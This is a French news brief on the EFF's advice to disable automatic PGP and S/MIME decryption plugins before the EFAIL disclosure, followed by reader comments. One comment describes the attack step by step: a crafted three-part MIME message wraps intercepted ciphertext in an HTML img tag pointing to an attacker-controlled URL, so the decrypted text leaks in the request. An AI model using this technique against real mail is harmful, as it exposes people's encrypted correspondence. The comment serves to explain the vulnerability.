Failles PGP et S/MIME : l'EFF recommande de désactiver les extensions de clients mail

Failles PGP et S/MIME : l’EFF recommande de désactiver les extensions de clients mail

Failles PGP et S/MIME : l'EFF recommande de désactiver les extensions de clients mail

Des chercheurs européens ont découvert des failles « critiques », qui pourraient révéler le contenu des messages. Les détails sont promis pour demain.

En attendant, la fondation américaine demande aux internautes de couper les extensions pour clients mail déchiffrant automatiquement ces messages, à savoir Enigmail sur Thunderbird, GPGTools pour Apple Mail et Gpg4Win sur Outlook. La marche à suivre est détaillée pour chacun. L'EFF recommande de passer par des services de messagerie chiffrée, comme Signal.

Commentaires (14)


Il reste toujours possible de chiffrer un document depuis l’explorateur de fichier/finder de l’OS ou via un terminal. Ces fonctions peuvent être listées dans le menu contextuel (clic droit). Je crois que c’est le comportement par défaut avec GPG Suite sur mac notamment.


j’ai franchement du mal à capter le “conseil” de l’EFF.

d’une part de ne pas utiliser PGP: ça revient à tout balancer en clair, ce qui est littéralement jeter le bébé avec l’eau du bain.

d’autre part d’utiliser Signal: le service n’est pas le même, il ne vise pas les mêmes objectifs, et n’a donc pas les mêmes fonctionnalités.



Même si je loue régulièrement Signal et ses avantages (PFS, instantanéité, facilité d’utilisation), c’est quand même pas la même chose, à commencer par l’identifiant qui est le numéro de mobile de l’utilisateur, en passant par le service bloqué dans certains pays, la centralisation, etc…



dernier point, quid des services basés sur PGP comme Protonmail: on fait quoi on arrête PM et on rebascule tout sur Gmail? lol.



j’imagine que la recommandation de l’EFF s’adresse principalement aux utilisateurs sensibles qui risquent juste leur vie, mais ça ne changera rien: pas de PFS sur PGP, donc c’est mort (si j’ose dire).



Evidemment difficile de se prononcer sans avoir le détail des failles en question.


A priori le souci se situe au niveau de l’auto-déchiffrement.



on (enfin un gars un que je suis sur Twitter plutôt) peut donc imaginer une PJ vérolée qui permettrait d’utiliser cette fonction pour déchiffrer des messages:

j’envois un mail à X avec en PJ un HTML/JS malveillant ainsi que plusieurs messages chiffrés que j’aurais préalablement interceptés:

l’extension de X déchiffre automatiquement mon message ainsi que les anciens messages en PJ, le HTML/JS me les rebalance.


Dommage car cela est bien pratique pour “le commun des mortels”.


je comprends pas le truc non plus : pour éviter la faille, on désactive le chiffrement ?<img data-src=" />


Non, on continue à chiffrer, mais on désactive le déchiffrement automatique, c’est lui qui provoque les soucis. Il est manifestement possible d’inclure des données vérolées (peut-être dans la chaîne de certificats) qui font que l’outil de déchiffrement fait leaker des clés de session.



Les utilisateurs doivent alors déchiffrer manuellement les messages, uniquement en provenance des personnes qu’elles connaissent, et si possible en vérifiant les chaînes de confiance dans un outil externe qui ne fait que ça.

&nbsp;


<img data-src=" /><img data-src=" /> merci


Dans tous les cas, “mot-de-passe” et “automatique” sont contradictoires en terme de sécurité. En particulier sur un ordinateur où tout est automatisé/automatisable.


Il y a plus de détails sur la mailing list gnupg-users :

https://lists.gnupg.org/pipermail/gnupg-users/2018-May/060315.html



Il s’agirait de mauvaises implémentations du parseur S/MIME dans les clients mail, permettant l’ajout de bouts de HTML avec des liens externes (genre une balise &lt;img&gt;) dans un message chiffré.



Plus un problème dans les clients mail que dans PGP et&nbsp; ses implémentation, donc.


merci de l’info <img data-src=" />


Hmmm donc, apparemment, le truc est d’envoyer un message comportant trois parties MIME correspondant au corps HTML du message.







  • La première partie contient ce code, que j’encrypte avec la clé publique de la cible : &lt;html&gt;&lt;body&gt;&lt;img src=“urlquejecontrôle/

  • La deuxième contient le message que je veux déchiffrer,que je ne re-chiffre évidemment pas

  • La troisième contient&nbsp; “/&gt;&lt;body&gt;&lt;/html&gt;





    Le client mail déchiffre individuellement les trois parties, les concatène en un seul bloc et tente d’afficher :



    &lt;html&gt;&lt;body&gt;&lt;img src=“urlquejecontrôle/texteclairdumessage”/&gt;&lt;body&gt;&lt;/html&gt;



    Le serveur à urlquejecontrôle n’a plus qu’à logger la requête et paf j’ai déchiffré le message…



    &nbsp;


<img data-src=" />


plus d’info ici :



https://efail.de/


Bon bah ça va, avec Claws Mail, je suis déjà à l’abri&nbsp;<img data-src=" />


Fermer